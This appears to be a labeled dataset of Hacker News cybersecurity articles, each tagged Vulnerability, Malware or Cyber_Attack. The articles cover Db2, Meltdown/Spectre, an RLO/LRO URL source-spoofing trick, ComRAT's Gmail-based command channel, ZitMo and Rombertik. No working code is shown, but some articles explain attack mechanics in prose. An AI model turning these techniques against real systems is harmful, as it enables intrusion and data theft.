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Experts Reported Security Bug in IBM's Db2 Data Management Software | https://thehackernews.com/2020/08/ibm-data-management.html | Cybersecurity researchers today disclosed details of a memory vulnerability in IBM's Db2 family of data management products that could potentially allow a local attacker to access sensitive data and even cause a denial of service attacks.
The flaw (CVE-2020-4414), which impacts IBM Db2 V9.7, V10.1, V10.5, V11.1, and V11.5 editions on all platforms, is caused by improper usage shared memory, thereby granting a bad actor to perform unauthorized actions on the system.
By sending a specially crafted request, an attacker could exploit this vulnerability to obtain sensitive information or cause a denial of service, according to Trustwave SpiderLabs security and research team, which discovered the issue.
"Developers forgot to put explicit memory protections around the shared memory used by the Db2 trace facility," SpiderLabs's Martin Rakhmanov said. "This allows any local users read and write access to that memory area. In turn, this allows accessing critically sensitive data as well as the ability to change how the trace subsystem functions, resulting in a denial of service condition in the database."
IBM released a patch on June 30 to remediate the vulnerability.
CVE-2020-4414 is caused by the unsafe usage of shared memory the Db2 trace utility employs to exchange information with the underlying OS on the system.
The Db2 trace utility is used to record Db2 data and events, including reporting Db2 system information, collecting data required for performance analysis and tuning, and capture data access audit trail for security purposes.
Given that the shared memory stores sensitive information, an attacker with access to the system could create a malicious application to overwrite the memory with rogue data dedicated to tracing data.
"This means that an unprivileged local user can abuse this to cause a denial of service condition simply by writing incorrect data over that memory section," Rakhmanov said.
Even more concerning, a low-privileged process running on the same computer as the Db2 database could alter Db2 trace and capture sensitive data and use the information to carry out other attacks.
If the flaw sounds familiar, that's because it's the same type of memory leakage vulnerability that impacted Cisco's WebEx video conferencing service (CVE-2020-3347) that could local authenticated attackers to get hold of usernames, authentication tokens, and meeting information.
It's recommended that Db2 users update their software to the latest version to mitigate the risk.
| Vulnerability |
[Guide] How to Protect Your Devices Against Meltdown and Spectre Attacks | https://thehackernews.com/2018/01/meltdown-spectre-patches.html | Recently uncovered two huge processor vulnerabilities called Meltdown and Spectre have taken the whole world by storm, while vendors are rushing out to patch the vulnerabilities in its products.
The issues apply to all modern processors and affect nearly all operating systems (Windows, Linux, Android, iOS, macOS, FreeBSD, and more), smartphones and other computing devices made in the past 20 years.
What are Spectre and Meltdown?
We have explained both, Meltdown (CVE-2017-5754) and Spectre (CVE-2017-5753, CVE-2017-5715), exploitation techniques in our previous article.
In short, Spectre and Meltdown are the names of security vulnerabilities found in many processors from Intel, ARM and AMD that could allow attackers to steal your passwords, encryption keys and other private information.
Both attacks abuse 'speculative execution' to access privileged memory—including those allocated for the kernel—from a low privileged user process like a malicious app running on a device, allowing attackers to steal passwords, login keys, and other valuable information.
Protect Against Meltdown and Spectre CPU Flaws
Some, including US-CERT, have suggested the only true patch for these issues is for chips to be replaced, but this solution seems to be impractical for the general user and most companies.
Vendors have made significant progress in rolling out fixes and firmware updates. While the Meltdown flaw has already been patched by most companies like Microsoft, Apple and Google, Spectre is not easy to patch and will haunt people for quite some time.
Here's the list of available patches from major tech manufacturers:
Windows OS (7/8/10) and Microsoft Edge/IE
Microsoft has already released an out-of-band security update (KB4056892) for Windows 10 to address the Meltdown issue and will be releasing patches for Windows 7 and Windows 8 on January 9th.
But if you are running a third-party antivirus software then it is possible your system won't install patches automatically. So, if you are having trouble installing the automatic security update, turn off your antivirus and use Windows Defender or Microsoft Security Essentials.
"The compatibility issue is caused when antivirus applications make unsupported calls into Windows kernel memory," Microsoft noted in a blog post. "These calls may cause stop errors (also known as blue screen errors) that make the device unable to boot."
Apple macOS, iOS, tvOS, and Safari Browser
Apple noted in its advisory, "All Mac systems and iOS devices are affected, but there are no known exploits impacting customers at this time."
To help defend against the Meltdown attacks, Apple has already released mitigations in iOS 11.2, macOS 10.13.2, and tvOS 11.2, has planned to release mitigations in Safari to help defend against Spectre in the coming days.
Android OS
Android users running the most recent version of the mobile operating system released on January 5 as part of the Android January security patch update are protected, according to Google.
So, if you own a Google-branded phone, like Nexus or Pixel, your phone will either automatically download the update, or you'll simply need to install it. However, other Android users have to wait for their device manufacturers to release a compatible security update.
The tech giant also noted that it's unaware of any successful exploitation of either Meltdown or Spectre on ARM-based Android devices.
Firefox Web Browser
Mozilla has released Firefox version 57.0.4 which includes mitigations for both Meltdown and Spectre timing attacks. So users are advised to update their installations as soon as possible.
"Since this new class of attacks involves measuring precise time intervals, as a partial, short-term mitigation we are disabling or reducing the precision of several time sources in Firefox," Mozilla software engineer Luke Wagner wrote in a blog post.
Google Chrome Web Browser
Google has scheduled the patches for Meltdown and Spectre exploits on January 23 with the release of Chrome 64, which will include mitigations to protect your desktop and smartphone from web-based attacks.
In the meantime, users can enable an experimental feature called "Site Isolation" that can offer some protection against the web-based exploits but might also cause performance problems.
"Site Isolation makes it harder for untrusted websites to access or steal information from your accounts on other websites. Websites typically cannot access each other's data inside the browser, thanks to code that enforces the Same Origin Policy." Google says.
Here's how to turn on Site Isolation:
Copy chrome://flags/#enable-site-per-process and paste it into the URL field at the top of your Chrome web browser, and then hit the Enter key.
Look for Strict Site Isolation, then click the box labelled Enable.
Once done, hit Relaunch Now to relaunch your Chrome browser.
Linux Distributions
The Linux kernel developers have also released patches for the Linux kernel with releases including versions 4.14.11, 4.9.74, 4.4.109, 3.16.52, 3.18.91 and 3.2.97, which can be downloaded from Kernel.org.
VMware and Citrix
A global leader in cloud computing and virtualisation, VMware, has also released a list of its products affected by the two attacks and security updates for its ESXi, Workstation and Fusion products to patch against Meltdown attacks.
On the other hand, another popular cloud computing and virtualisation vendor Citrix did not release any security patches to address the issue. Instead, the company guided its customers and recommended them to check for any update on relevant third-party software.
| Vulnerability |
Exclusive - Source Code Spoofing with HTML5 and the LRO Character | https://thehackernews.com/2012/03/exclusive-source-code-spoofing-with.html | Exclusive - Source Code Spoofing with HTML5 and the LRO Character
Article Written by John Kurlak for The Hacker News,He is senior studying Computer Science at Virginia Tech. Today John will teach us that How to Spoof the Source Code of a web page. For example, Open https://www.kurlak.com/john/source.html and Try to View Source Code of the Page ;-) Can you View ??
About eight months ago, I learned about HTML5's new JavaScript feature, history.replaceState(). The history.replaceState() function allows a site developer to modify the URL of the current history entry without refreshing the page. For example, I could use the history.replaceState() function to change the URL of my page in the address bar from "https://www.kurlak.com/example.html" to "https://www.kurlak.com/example2.html" When I first learned of the history.replaceState() function, I was both skeptical and curious.
First, I wanted to see if history.replaceState() supported changing the entire URL of a page, including the hostname. Fortunately, the developers were smart enough to prevent that kind of action. Next, I noticed that if I viewed the source code of a page after replacing the URL, it attempted to show the source code of the new page. I started brainstorming ways I could make the URL look the same but have a different underlying representation. Such a scenario would make it so that I could "hide" the source code of a page by masking it with another page. I remembered encountering a special Unicode character some time back that reversed all text that came after it. That character is called the "right to left override" (RLO) and can be produced with decimal code 8238.
I tried to create an HTML page, "source.html," that would use history.replaceState() to replace the URL of the page with: [RLO] + "lmth.ecruos" (the reversed text of "source.html"). When the browser rendered the new URL, the RLO character reversed the letters after it, making the browser display "source.html" in the address bar. However, when I went to view the source of the web page, my browser tried to view the source of "‮lmth.ecruos" instead (the characters, "‮," are the ASCII representation of the hex codes used to represent the RLO character). Thus, I created a page, "‮lmth.ecruos" and put some "fake" source code inside. Now, when I went to "source.html," the URL was replaced with one that rendered the same, and when I viewed the source of the page, it showed my "fake" source code.
The code I used for "source.html" was:
However, there was a downfall: if the user tried to type after the RLO character in the address bar, his or her text would show up backwards, a clear indication that something strange was going on. I brainstormed additional solutions. I soon found that there was also a "left to right override" (LRO) character. I discovered that placing the LRO character within text that is already oriented left to right does not do anything. I decided to add the LRO character to the end of my URL and used the following code:
Then, I simply had to create "source.htmlâ€" and put my "fake" source code in it. It worked! Now the user could type normally without seeing anything funny.
However, this new code still has two downfalls.
The first downfall is that the script appears to work only for Google Chrome (I tested the script in Chrome 17.0.963.79 m). Firefox 11 escapes the RLO character, so the user sees "%E2%80%AElmth.ecruos" in the URL bar instead of "source.html." (I have had reports, however, that the "exploit" works in Firefox 11 on Linux. I have not yet confirmed those reports). Internet Explorer 9 does not yet support history.replaceState(), but apparently Internet Explore 10 will. Opera 11 and Safari 5 both show "source.html" in the address bar, but when I go to view the page source, both browsers bring up the code for the original "source.html."
The second downfall is that if the user tries to refresh the page, he or she will be taken to the fake HTML page. As far as I know, there is no sure way to prevent this side effect.
Finally, I would like to point out that this "exploit" is just a cool trick. It cannot be used to prevent someone from retrieving the source code of a web page. If a browser can access a page's source code, a human can access that page's source code.
Maybe someone else can think of a more interesting use of the trick. I hope you like it!
You can download both sample files Here
Submitted By : John Kurlak
Website: https://www.kurlak.com
| Vulnerability |
Critical OS X Flaw Grants Mac Keychain Access to Malware | https://thehackernews.com/2015/09/mac-os-x-vulnerability.html | Back in July, a security researcher disclosed a zero-day vulnerability in Mac OS X that allowed attackers to obtain unrestricted root user privileges with the help of code that even fits in a tweet.
The same vulnerability has now been upgraded to again infect Mac OS X machines even after Apple fixed the issue last month.
The privilege-escalation bug was once used to circumvent security protections and gain full control of Mac computers. Thanks to the environment variable DYLD_PRINT_TO_FILE Apple added to the code of OS X 10.10 Yosemite.
The vulnerability then allowed attackers to install malware and adware onto a target Mac, running OS X 10.10 (Yosemite), without requiring victims to enter system passwords.
However, the company fixed the critical issue in the Mac OS X 10.11 El Capitan Beta builds as well as the latest stable version of Mac OS X – Version 10.10.5.
Mac Keychain Flaw
Now, security researchers from anti-malware firm MalwareBytes spotted the updated version of the same highly questionable malicious installer is now accessing user's Mac OS X keychain without user's permission.
Once executed, the updated installer throws an installer request that asks for permission to access the user's OS X keychain.
The installer automatically simulates a click on the "Allow" button as soon as it appears, which allows it to gain access to the Safari Extensions List, said MalwareBytes researcher Thomas Reed.
This allows the malicious installer to install a Genieo Safari extension. The entire process of installing a malicious extension and gain access to OS X keychain takes just a fraction of a second.
You're Totally Screwed Up
However, the more worrisome part is that the installer could easily be modified to grant attackers access to other data from the keychain alongside passwords for user's Gmail account, iCloud account, and other important accounts.
Meanwhile, two security researchers from Beirut independently reported the Mac Keychain vulnerability on Tuesday, the same day Malwarebytes researchers disclosed their findings involving Genieo.
The technique works on Mac systems only when invoked by an app already installed on user's systems.
The issue is critical because the Mac keychain is supposedly the protected place for storing account passwords and cryptographic keys.
Apple has yet to respond to this latest issue. Until then, Mac users are advised to follow the standard security practices, such as do not download files from unknown or untrusted sources, and be wary of emails or websites that seem suspicious.
| Vulnerability |
Chinese APT Espionage campaign, dubbed 'Icefog' targeted Military contractors and Governments | https://thehackernews.com/2013/09/chinese-apt-espionage-campaign-dubbed.html | Kaspersky Lab has identified another Chinese APT campaign, dubbed 'Icefog', who targeted Governmental institutions, Military contractors, maritime / shipbuilding groups, telecom operators, industrial and high technology companies and mass media.
The Hacking group behind the attack who carry out surgical hit and run operations, is an advanced persistent threat (APT) group, used a backdoor dubbed Icefog that worked across Windows and Mac OS X to gain access to systems.
"The Mac OS X backdoor currently remains largely undetected by security solutions and has managed to infect several hundred victims worldwide," the report (PDF) said.
This China-based campaign is almost two years old and follows the pattern of similar APT-style attacks where victims are compromised via a malicious attachment in a spear-phishing email, or are lured to a compromised website and infected with malware.
The attackers embed exploits for several known vulnerabilities (CVE-2012-1856 and CVE-2012-0158) into Microsoft Word and Excel documents.
Once a computer has been compromised, the hackers upload malicious tools and backdoors. They look for email account credentials, sensitive documents and passwords to other systems.
"We observed many victims in several other countries, including Taiwan, Hong Kong, China, USA, Australia, Canada, UK, Italy, Germany, Austria, Singapore, Belarus and Malaysia," the research team said.
There is no concrete evidence to confirm this was a nation-state sponsored operation, but based on where the stolen data were transferred to, Kaspersky wrote the attackers are assumed to be in China, South Korea and Japan.
In total, Kaspersky Lab observed more than 4,000 uniquely infected IPs and several hundred victims. They are now in contact with the targeted organizations as well as government entities in order to help them identify and eradicate the infections.
| Malware |
New ComRAT Malware Uses Gmail to Receive Commands and Exfiltrate Data | https://thehackernews.com/2020/05/gmail-malware-hacker.html | Cybersecurity researchers today uncovered a new advanced version of ComRAT backdoor, one of the earliest known backdoors used by the Turla APT group, that leverages Gmail's web interface to covertly receive commands and exfiltrate sensitive data.
"ComRAT v4 was first seen in 2017 and known still to be in use as recently as January 2020," cybersecurity firm ESET said in a report shared with The Hacker News. "We identified at least three targets: two Ministries of Foreign Affairs in Eastern Europe and a national parliament in the Caucasus region."
Turla, also known as Snake, has been active for over a decade with a long history of the watering hole and spear-phishing campaigns against embassies and military organizations at least since 2004.
The group's espionage platform started off as Agent.BTZ, in 2007, before it evolved to ComRAT, in addition to gaining additional capabilities to achieve persistence and to steal data from a local network.
It is now known that earlier versions of Agent.BTZ were responsible for infecting US military networks in the Middle East in 2008. In recent years, Turla is said to have been behind the compromise of French Armed Forces in 2018 and the Austrian Foreign Ministry early this year.
Newer versions of ComRAT backdoor have since ditched Agent. BTZ's USB-stick infection mechanism in favor of injecting itself into every process of the infected machine and executing its primary payload in "explorer.exe."
What's New in ComRAT v4?
The ComRAT v4 (or "Chinch" by the malware authors), as the new successor is called, uses an entirely new code base and is far more complex than its earlier variants, according to ESET. The firm said the first known sample of the malware was detected in April 2017.
ComRAT is typically installed via PowerStallion, a lightweight PowerShell backdoor used by Turla to install other backdoors. In addition, the PowerShell loader injects a module called ComRAT orchestrator into the web browser, which employs two different channels — a legacy and an email mode — to receive commands from a C2 server and exfiltrate information to the operators.
"The main use of ComRAT is discovering, stealing, and exfiltrating confidential documents," the researchers said. "In one case, its operators even deployed a .NET executable to interact with the victim's central MS SQL Server database containing the organization's documents."
What's more, all the files related to ComRAT, with the exception of the orchestrator DLL and the scheduled task for persistence, are stored in a virtual file system (VFS).
The "mail" mode works by reading the email address and the authentication cookies located in the VFS, connecting to the basic HTML view of Gmail, and parsing the inbox HTML page (using Gumbo HTML parser) to get the list of emails with subject lines that match those in a "subject.str" file in the VFS.
For each email that meets the above criteria, the comRAT proceeds by downloading the attachments (e.g. "document.docx," "documents.xlsx"), and deleting the emails to avoid processing them a second time.
Despite the ".docx" and ".xlsx" format in the filenames, the attachments are not documents themselves, but rather encrypted blobs of data that include a specific command to be executed: read/write files, execute additional processes, and gather logs.
In the final stage, the results of the command execution are encrypted and stored in an attachment (with the double extension ".jpg.bfe"), which is then sent as an email to a target address specified in the "answer_addr.str" VFS file.
The "legacy" mode, on the other hand, makes use of the already existing C2 infrastructure (ComRAT v3.x) to issue remote commands, the results of which are compressed and transmitted to a cloud service such as Microsoft OneDrive or 4Shared.
The exfiltrated data comprises user details and security-related log files to check if their malware samples were detected during a scan of the infected systems.
Based on the Gmail email distribution patterns over a one-month period, ESET said the operators behind the campaign are working in the UTC+3 or UTC+4 time zones.
"Version four of ComRAT is a totally revamped malware family released in 2017," ESET researcher Matthieu Faou said. "Its most interesting features are the Virtual File System in FAT16 format and the ability to use the Gmail web UI to receive commands and exfiltrate data. Thus, it is able to bypass some security controls because it doesn't rely on any malicious domain."
| Cyber_Attack |
Hackers Can Remotely Steal Fingerprints From Android Phones | https://thehackernews.com/2015/08/hacking-android-fingerprint.html | Over a year ago I wrote an article on The Hacker News that warned of serious security concerns created by the iPhone and Android's Fingerprint authentication.
Till now hackers were impersonated simply by lifting prints off the side of a phone and gaining unauthorized access to user's phone and thus data.
However, security researchers have now discovered four new ways to attack Android devices to extract user fingerprints remotely without letting the user know about it.
The attack, which the researchers dubbed the "Fingerprint Sensor Spying attack," could be used by hackers to "remotely harvest fingerprints in a large scale," Yulong Zhang, one of the researchers told ZDNet.
Remotely Hacking Android Fingerprints
FireEye researchers Tao Wei and Yulong Zhang presented their research in a talk titled, Fingerprints on Mobile Devices: Abusing and Leaking, at the Black Hat conference in Las Vegas on Wednesday, where they outlined new ways to attack Android devices in an effort to extract user fingerprints.
The new attack is limited mostly to Android devices with Fingerprint Sensors that helps the user to authenticate their identity by simply touching their phone's screen, instead of by entering a passcode.
Researchers confirmed the attack on the HTC One Max and Samsung's Galaxy S5, which allowed them to stealthily obtain a fingerprint image from the device because vendors don't lock down fingerprint sensors well enough.
The attack affects mobile phones by major manufacturers including handsets delivered by Samsung, HTC, and Huawei.
Fingerprints vs. Passwords
If we give a thought, then stolen fingerprints would be an even worse scenario than stolen passwords because you can change your passwords when breached but not just replace your fingerprints.
"In this attack, victims' fingerprint data directly fall into attacker's hand. For the rest of the victim's life, the attacker can keep using the fingerprint data to do other malicious things," said Zhang.
The good news is that the issue is relatively easy to fix by adding encryption to the fingerprint data on Android devices, and affected vendors have since released patches after being alerted by the researchers.
Researchers have not shared any "proof-of-concept" detailing exactly how the fingerprint stealing attack can be executed remotely.
Meanwhile Apple users can just sit and relax, as it appears that iPhone and iPad's Touch ID is "quite secure" because it encrypts fingerprint data from the scanner with a crypto key, making it unreadable even if hackers gain access.
Users need to note that Google doesn't yet officially support fingerprints in its mobile operating system, but it will soon do support fingerprint sensors with the Android M update.
| Vulnerability |
WhatsApp Flaw Lets Users Modify Group Chats to Spread Fake News | https://thehackernews.com/2018/08/whatsapp-modify-chat-fake-news.html | WhatsApp, the most popular messaging application in the world, has been found vulnerable to multiple security vulnerabilities that could allow malicious users to intercept and modify the content of messages sent in both private as well as group conversations.
Discovered by security researchers at Israeli security firm Check Point, the flaws take advantage of a loophole in WhatsApp's security protocols to change the content of the messages, allowing malicious users to create and spread misinformation or fake news from "what appear to be trusted sources."
The flaws reside in the way WhatsApp mobile application connects with the WhatsApp Web and decrypts end-to-end encrypted messages using the protobuf2 protocol.
The vulnerabilities could allow hackers to misuse the 'quote' feature in a WhatsApp group conversation to change the identity of the sender, or alter the content of someone else's reply to a group chat, or even send private messages to one of the group participants (but invisible to other members) disguised as a group message for all.
In an example, the researchers were able to change a WhatsApp chat entry that said "Great!"—sent by one member of a group—to read "I'm going to die, in a hospital right now!"
It should be noted that the reported vulnerabilities do not allow a third person to intercept or modify end-to-end encrypted WhatsApp messages, but instead, the flaws could be exploited only by malicious users who are already part of group conversations.
Video Demonstration — How to Modify WhatsApp Chats
To exploit these vulnerabilities, the CheckPoint researchers—Dikla Barda, Roman Zaikin, and Oded Vanunu—created a new custom extension for the popular web application security software Burp Suite, allowing them to easily intercept and modify sent and received encrypted messages on their WhatsApp Web.
The tool, which they named "WhatsApp Protocol Decryption Burp Tool," is available for free on Github, and first requires an attacker to input its private and public keys, which can be obtained easily "obtained from the key generation phase from WhatsApp Web before the QR code is generated," as explained by the trio in a blog post.
"By decrypting the WhatsApp communication, we were able to see all the parameters that are actually sent between the mobile version of WhatsApp and the Web version. This allowed us to then be able to manipulate them and start looking for security issues."
In the above-shown YouTube video, researchers demonstrated the three different techniques they have developed, which allowed them to:
Attack 1 — Changing a Correspondent's Reply To Put Words in Their Mouth
Using the Burp Suite extension, a malicious WhatsApp user can alter the content of someone else's reply, essentially putting words in their mouth, as shown in the video.
Attack 2 — Change the Identity of a Sender in a Group Chat, Even If They Are Not a Member
The attack allows a malicious user in a WhatsApp group to exploit the 'quote' feature—that lets users reply to a past message within a chat by tagging it—in a conversation to spoof a reply message to impersonate another group member and even a non-existing group member.
Attack 3 — Send a Private Message in a Chat Group But When The Recipient Replies, The Whole Group Sees It
The third WhatsApp attack allows a malicious group user to send a specially crafted message that only a specific person will be able to see. If the targeted individual responds to the same message, only then its content will get displayed to everyone in the group.
WhatsApp/Facebook Choose to Left Reported Attacks Unpatched
The trio reported the flaws to the WhatsApp security team, but the company argued that since these messages do not break the fundamental functionality of the end-to-end encryption, users "always have the option of blocking a sender who tries to spoof messages and they can report problematic content to us."
"These are known design trade-offs that have been previously raised in public, including by Signal in a 2014 blog post, and we do not intend to make any change to WhatsApp at this time," WhatsApp security team replied to the researchers.
Another argument WhatsApp shared with researchers, in context of why the company can not stop the modification of the message content—"This is a known edge case that relates to the fact that we do not store messages on our servers and do not have a single source of truth for these messages."
"My point was the misinformation, and WhatsApp plays a vital role in our day activity. So, In my point of view they indeed have to fix these issues," CheckPoint researcher Roman Zaikin said.
"It's always functionality vs. security, and this time WhatsApp choose functionality."
Since WhatsApp has become one of the biggest tools to spread fake news and misinformation, at least in countries with highly volatile political issues, we believe WhatsApp should fix these problems along with putting limits on the forwarded messages.
| Vulnerability |
Air Traffic Control System Failure Caused by Memory Shortage - A Cyber Attack? | https://thehackernews.com/2014/05/air-traffic-control-system-failure.html | A shortage of computer memory in the $2.4 billion Air Traffic Control System caused a Computer crash that resulted in the System collapse, according to an insider close to the incident.
The problems began on 30 April, when a U-2 spy plane flew over southwestern US caused the air traffic control system that manages the airspace around Los Angeles' LAX airport, built by Lockheed Martin, to crash due to which hundreds of flight delayed or cancelled two weeks ago.
"In theory, the same vulnerability could have been used by an attacker in a deliberate shut-down," security experts told Reuters. Now that the "very basic limitation of the system" is known, experts showed concerns about the cyber-attacks.
Sources claimed to Reuters that on April 30, 2014 the aircraft traffic failed to obtain the altitude information for a single U-2 spy plane which was flying over the area because a controller entered the altitude of the spook flight into the En Route Automation Modernisation (ERAM) system, developed by Lockheed Martin.
Lockheed Martin created the En Route Automation Modernization (ERAM) air traffic control system, claims it conducts "robust testing" on all its systems, so the shortage of altitude information in the U-2's flight plan caused the automated system to generate error messages and begin cycling through restarts.
I NEED MORE MEMORY
The system failure was caused due to the complex nature of the U-2's flight plan. The U-2's flight ERAM system failed because it limits how much data each plane can send it, however most of the aircraft have a simple flight plan do not exceed the limits as it restrict the data sent back to the ERAM.
While an air traffic controller entered the usual altitude for a U-2 plane i.e. about 60,000 feet, the system began to calculate all possible altitudes between ground level and infinity for the flight, in order to ensure the U-2 plane wasn't on a crash course with other aircrafts.
Now this process need "a large amount of available memory and interrupted the computer's other flight-processing functions," according to a Federal Aviation Administration (FAA) spokesperson, Laura Brown.
As a result, the air traffic system was completely fails to access parts of the US skies from West Coast to Arizona and from Nevada to the Mexico border. No accidents or injuries were reported, however it caused inconvenience to thousands of passengers who had their flights delayed or cancelled.
In response, the FAA said it has changed the way traffic controllers obtain flight plan information and upgraded the computer systems with more memory, which should prevent similar episodes from occurring in the future.
A CYBER ATTACK?
Where some security experts say that the incident could be a part of cyber attack deliberately caused by hackers, others argue it would be impossible to recreate such specific conditions. Sources told Reuters that the original error is very difficult to replicate and added that there's no indication that it could be used to carry out any cyber attack.
But according to security experts, it could be a cyber attack and the failure appeared to have been made possible by the sort of routine programming mistake that should have been identified in testing before it was deployed.
Cyber attacks against physical infrastructure are becoming an interesting area for the hackers, however there are very few such activities seen in real scenario, the most famous among is Stuxnet case, used against uranium centrifuges in Iran.
| Cyber_Attack |
Google Drive Vulnerability Leaks Users' Private Data | https://thehackernews.com/2014/07/google-drive-vulnerability-leaks-users_9.html | Another privacy issue has been discovered in Google Drive which could have led sensitive and personal information stored on the cloud service exposed to unauthorized parties.
The security flaw has now patched by Google, but its discovery indicates that the vulnerability of cloud data when accessed via a link can allow "anyone who has the link" to access your private data without any further authentication.
HOW THE SECURITY FLAW WORKS
The security hole addressed a risk to files that included a clickable URL on your cloud file sharing service.
When someone opens the file and clicks on an embedded hyperlink, then they get sent to the website of a third-party website owner.
Upon accessing this URL, unfortunately the external Internet user - an unauthorized party - could potentially access your sensitive information by accessing the original documents that included the URL.
GOOGLE EXPLANATION
Google explained the actual nature of the security flaw in a blog post published last week. The company said that the flaw only affected a "small subset of file types" in Google Drive.
The security issue is relevant only if all four of these conditions apply:
The file was uploaded to Google Drive
The file was not converted to Docs, Sheets, or Slides (i.e., remained in its original format such as .pdf, .docx, etc.)
The owner changed sharing settings so that the document was available to "anyone with the link"
The file contained hyperlinks to third-party HTTPS websites in its content
If all the above mentioned conditions applied, a user who clicked on the embedded hyperlink could have inadvertently sent header information to the administrator of the third-party websites, allowing him or her to potentially see the URL of the original document that linked to his or her site.
But Google assured its users that the newly shared documents with hyperlinks to third-party HTTPS websites, will not inadvertently relay the original document's URL.
HOW TO PROTECT YOURSELF
At the same time, If you've got any of yours previously shared documents that match any of those above four criteria, Google says you can generate a new and safe sharing link by following just three simple steps:
Create a copy of the document, via File > "Make a copy..."
Share the copy of the document with particular people or via a new shareable link, via the "Share" button
Delete the original document
The security flaw is similar to Dropbox hyperlink disclosure vulnerability discovered earlier this year by Intralinks. The hyperlink disclosure vulnerability in the Dropbox led to the exposure of personal documents and all sorts of stuff such as such as tax returns, bank records, mortgage applications, blueprints, and business plans, stored in Dropbox that you would not want to disclose.
| Vulnerability |
Zeus malware targeting BlackBerry and Android devices | https://thehackernews.com/2012/08/zeus-malware-targeting-blackberry-and.html | Security researchers at Kaspersky Lab have discovered five new samples of the ZeuS-in-the-Mobile (ZitMo) malware package, targeting Android and BlackBerry devices.
Zitmo (Zeus in the mobile) is the name given to the mobile versions of Zeus, and it's been around for a couple of years already, mostly infecting Android phones. The Zitmo variant has reportedly been operating for at least two years targeting Android phones by masquerading as banking security application or security add-on.
ZitMo gets hold of banking information by intercepting all text messages and passing them on to attackers' own devices. It gets onto devices inside malicious applications, which users are duped into downloading. In this case, the malicious app was posing as security software called 'Zertifikat'.
Once installed, the packages forward all incoming SMS messages to one of two command and control numbers located in Sweden, with the aim of snaring secure codes and other data. Kaspersky found mobile users in Spain, Italy and Germany were targeted by these fresh variants, with two command and control (C&C) numbers found on Sweden's Tele2 operator.
"The analysis of new Blackberry ZitMo files showed that there are no major changes. Virus writers finally fixed grammar mistake in the 'App Instaled OK' phrase, which is sent via SMS to C&C cell phone number when smartphone has been infected. Instead of 'BLOCK ON' or 'BLOCK OFF' commands (blocking or unblocking all incoming and outgoing calls) now there are 'BLOCK' and 'UNBLOCK' commands. Other commands which are received via SMS remain the same." Denis Maslennikov, a researcher at Kaspersky Lab.
The tactic is designed to help the criminals circumvent the out-of-band authentication systems used by many European banks, by hijacking the one-time password authentication password sent via SMS.
Earlier this year, Kaspersky warned of a set of malicious Android applications posing as security software. Zeus was sitting behind those apps, ready to siphon off text messages.
| Malware |
Hacker Tried Poisoning Water Supply After Breaking Into Florida's Treatment System | https://thehackernews.com/2021/02/hacker-tried-poisoning-water-supply.html | Hackers successfully infiltrated the computer system controlling a water treatment facility in the U.S. state of Florida and remotely changed a setting that drastically altered the levels of sodium hydroxide (NaOH) in the water.
During a press conference held yesterday, Pinellas County Sheriff Bob Gualtieri said an operator managed to catch the manipulation in real-time and restored the concentration levels to undo the damage.
"At no time was there a significant effect on the water being treated, and more importantly the public was never in danger," Sheriff Gualtieri said in a statement.
The water treatment facility, which is located in the city of Oldsmar and serves about 15,000 residents, is said to have been breached for approximately 3 to 5 minutes by unknown suspects on February 5, with the remote access occurring twice at 8:00 a.m. and 1:30 p.m.
The attacker briefly increased the amount of sodium hydroxide from 100 parts-per-million to 11,100 parts-per-million using a system that allows for remote access via TeamViewer, a tool that lets users monitor and troubleshoot any system problems from other locations.
"At 1:30 p.m., a plant operator witnessed a second remote access user opening various functions in the system that control the amount of sodium hydroxide in the water," the officials said.
Sodium hydroxide, also known as lye, is a corrosive compound used in small amounts to control the acidity of water. In high and undiluted concentrations, it can be toxic and can cause irritation to the skin and eyes.
It is not immediately known if the hack was done from within the U.S. or outside the country. Detectives with the Digital Forensics Unit said an investigation into the incident is ongoing.
Although an early intervention averted more serious consequences, the sabotage attempt highlights the exposure of critical infrastructure facilities and industrial control systems to cyberattacks.
The fact that the attacker leveraged TeamViewer to take over the system underscores the need for securing access with multi-factor authentication and preventing such systems from being externally accessible.
"Manually identify software installed on hosts, particularly those critical to the industrial environment such as operator workstations — such as TeamViewer or VNC," said Dragos researcher Ben Miller. "Accessing this on a host-by-host basis may not be practical but it is comprehensive."
"Remote access requirements should be determined, including what IP addresses, what communication types, and what processes can be monitored. All others should be disabled by default. Remote access including process control should be limited as much as possible."
| Cyber_Attack |
Rombertik Malware Destroys Hard Drives to Avoid Detection | https://thehackernews.com/2015/05/malware-destroy-hard-drive.html | Security researchers have discovered a new strain of malware that makes use of extraordinary measures to evade detection and analysis, making the computer it infects unusable.
Dubbed Rombertik, which is "unique" among other self-destructing malware samples due to its unique evasion techniques. As soon as any analysis tool is detected, Rombertik attempts to delete the device's Master Boot Record (MBR) and home directories, making the machine constantly restart.
Rombertik is a complex piece of spyware designed to "indiscriminately" collect everything a user does online in order to obtain victim's login credentials and other confidential information.
Infects users via Phishing campaign:
Rombertik typically gets installed on vulnerable machines when users click on malicious attachments included in phishing emails, Cisco security researchers Ben Baker and Alex Chiu said in a blog post Monday.
Once loaded into the system, Rombertik first runs a series of anti-analysis checks to determine if it is running within a sandbox.
In case it isn't running within the sandbox, Rombertik decrypts and installs itself on the victim's machine, which then allows the malware to launch a second copy of itself and overwrite the second copy with the malware's core spying functionality.
Here's the kicker:
After completing this process and before begins spying on users, Rombertik runs a final check to make sure it is not being analyzed in memory. In case it finds any indication of being analyzed, the spyware attempts to destroy the master boot record (MBR) of the vulnerable computer.
Rombertik then restarts the machine, and because now the MBR is missing from the hard drive, the victim's computer will go into an endless restart loop.
MBR is the first sector of a computer's hard drive that the system looks for before loading the operating system. However, deleting or destroying MBR involves re-installing of operating system, which means valuable data is lost.
In cases where the malware is under the microscope of security experts or any rival malware author, Rombertik will self-destruct itself, taking the contents of a victim's hard drive along with it.
Security researchers reverse-engineered the malware and found that Rombertik contains volumes of "garbage code" that have to be analyzed. The researchers were able to capture a small sample and found that…
...the unpacked Rombertik sample was 28KB in size while the packed version is 1264KB, including 75 images and 8,000 functions that are never used.
Rombertik other Tricks involve:
Moreover, Rombertik keeps itself in sandboxes by writing a random byte of data to memory 960 million times in an effort to overwhelm analysis tools that try to detect malware by logging system activity.
"If an analysis tool attempted to log all of the 960 million write instructions, the log would grow to over 100 gigabytes," researchers explained in a blog post.
"Even if the analysis environment was capable of handling a log that large, it would take over 25 minutes just to write that much data to a typical hard drive. This complicates the analysis."
Data wiping and Self-destructing malware:
Data wiping and self-destructing malware are not new. In last three years, we have seen a hike in malware evasion capabilities.
Wiper malware was used against South Korean banks and TV broadcasters in 2013 as well as against Sony Pictures Entertainment last year, which marked history in a massive data breach.
